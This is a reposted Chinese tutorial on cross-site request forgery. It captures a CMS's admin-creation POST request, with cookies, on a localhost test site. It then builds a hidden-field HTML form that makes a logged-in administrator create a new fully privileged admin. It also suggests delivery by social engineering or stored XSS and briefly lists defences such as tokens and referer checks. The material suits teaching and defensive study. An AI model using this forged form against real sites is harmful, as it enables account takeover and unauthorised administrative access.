初入Csrf Post提交添加管理员
Posted Sn00py
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了初入Csrf Post提交添加管理员相关的知识,希望对你有一定的参考价值。
00x01
作者:墨
首发:I春秋
[-]CSRF是个什么鬼?
|___简单的理解:
|----攻击者盗用了你的身份,以你的名义进行某些非法操作。CSRF能够使用你的账户发送邮件,获取你的敏感信息,甚至盗走你的财产。
|___CSRF攻击原理:
|----当我们打开或者登陆某个网站的时候,浏览器与网站所存放的服务器将会产生一个会话(cookies),在这个会话没有结束时,你就可以利
用你的权限对网站进 行操作。然而,攻击者就是利用这个特性,让受害者触发我们构造的表单或者语句,然后达到攻击者想要达到的目的。
具体看文章:Csrf初步了解
00x02
[+]如何构造表单?
|___GET方法的表单很简单,直接在url构造触发。
|----略。
|___POST表单构造(主要演示这个).
|----工具用Burpsuite
实战开始:
|----目标站:http://127.0.0.1/
|----抓取创建管理时Post包
|----开启burpsuite抓包。
00x03
|----这里我拿耳朵cms来进行测试
|----我们先来看一下触发点
这里就是触发点,我们添加的时候抓取他的post包
- POST /upload2/admin.php?iframe=admin&action=saveadd HTTP/1.1
- Host: 127.0.0.1
- Content-Length: 309
- Cache-Control: max-age=0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
- Origin: http://127.0.0.1
- Upgrade-Insecure-Requests: 1
- User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.108
Safari/537.36 2345Explorer/7.2.0.13379
- Content-Type: application/x-www-form-urlencoded
- Referer: http://127.0.0.1/upload2/admin.php?iframe=admin&action=add
- Accept-Encoding: gzip, deflate
- Accept-Language: zh-CN,zh;q=0.8
- Cookie: in_adminid=1; in_adminname=admin;
in_adminpassword=c3284d0f94606de1fd2af172aba15bf3;
in_permission=1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9; in_adminexpire=have;
bdshare_firstime=1472114910255; PHPSESSID=r95qfra16nqp97n4ijl4f5hai5;
DedeUserID=1; DedeUserID__ckMd5=db571499870b8384;
DedeLoginTime=1472387898; DedeLoginTime__ckMd5=8cac10bbfe850f69
- Connection: close
- in_adminname=ichunqiu&in_adminpassword=ichunqiu&in_adminpassword1=ichunqiu&in_permission%5B%5D=1&in_permission%5B%5D=2&in_permission%5B%5D=3&in_permission%5B%5D=4&in_permission%5B%5D=5&in_permission%5B%5D=6&in_permission%5B%5D=7&in_permission%5B%5D=8&in_permission%5B%5D=9&in_islock=0&admin=%E6%8F%90%E4%BA%A4
in_adminname|----ichunqiu----用户名
in_adminpassword|----ichunqiu----密码
in_adminpassword1|----ichunqiu----确认密码
- in_permission%5B%5D=1&in_permission%5B%5D=2&in_permission%5B%5D=3&in_permission%5B%5D=4&in_permission%5B%5D=5&in_permission%5B%5D=6&in_permission%5B%5D=7&in_permission%5B%5D=8&in_permission%5B%5D=9&in_islock=0
这里便是为权限
OK,那么我们来创建一个form表单
- <html>
- <body>
- <form action="http://127.0.0.1/upload2/admin.php?iframe=admin&action=saveadd" method="POST">
- <input type="hidden" name="in_adminname" value="ichunqiu1" />
- <input type="hidden" name="in_adminpassword" value="ichunqiu1" />
- <input type="hidden" name="in_adminpassword1" value="ichunqiu1" />
- <input type="hidden" name="in_permission[]" value="1" />
- <input type="hidden" name="in_permission[]" value="2" />
- <input type="hidden" name="in_permission[]" value="3" />
- <input type="hidden" name="in_permission[]" value="4" />
- <input type="hidden" name="in_permission[]" value="5" />
- <input type="hidden" name="in_permission[]" value="6" />
- <input type="hidden" name="in_permission[]" value="7" />
- <input type="hidden" name="in_permission[]" value="8" />
- <input type="hidden" name="in_permission[]" value="9" />
- <input type="hidden" name="in_islock" value="0" />
- <input type="hidden" name="admin" value="æ交" />
- <input type="submit" value="Submit request" />
- </form>
- </body>
- </html>
in_adminname|----ichunqiu1----用户名
in_adminpassword|----ichunqiu1----密码
in_adminpassword1|----ichunqiu1----确认密码
permission|----1~9----权限(有9个权限选择所以写9个permission表单)
我们开始触发
触发成功,并且可以得到小处越权
尝试登陆
成功登陆,由此可见,Csrf只要利用的好还是有很大危害的
如何搭配:
|___通过社会工程学诱惑触发表单
|----从而进行添加管理员
|___通过存储xss迫使管理员触发表单
|----从而进行添加管理员
如何防护:
|___利用referer、token或者验证码
|----从而进行一个防护
|___做成一个类似HTTP Watch的软件
|----挂在浏览器上拦截或者过滤跨域的cookie进行防御
以上是关于初入Csrf Post提交添加管理员的主要内容,如果未能解决你的问题,请参考以下文章
django 页面进行ajax post提交时,页面要添加{% csrf_token %}
django 页面进行ajax post提交时,页面要添加{% csrf_token %}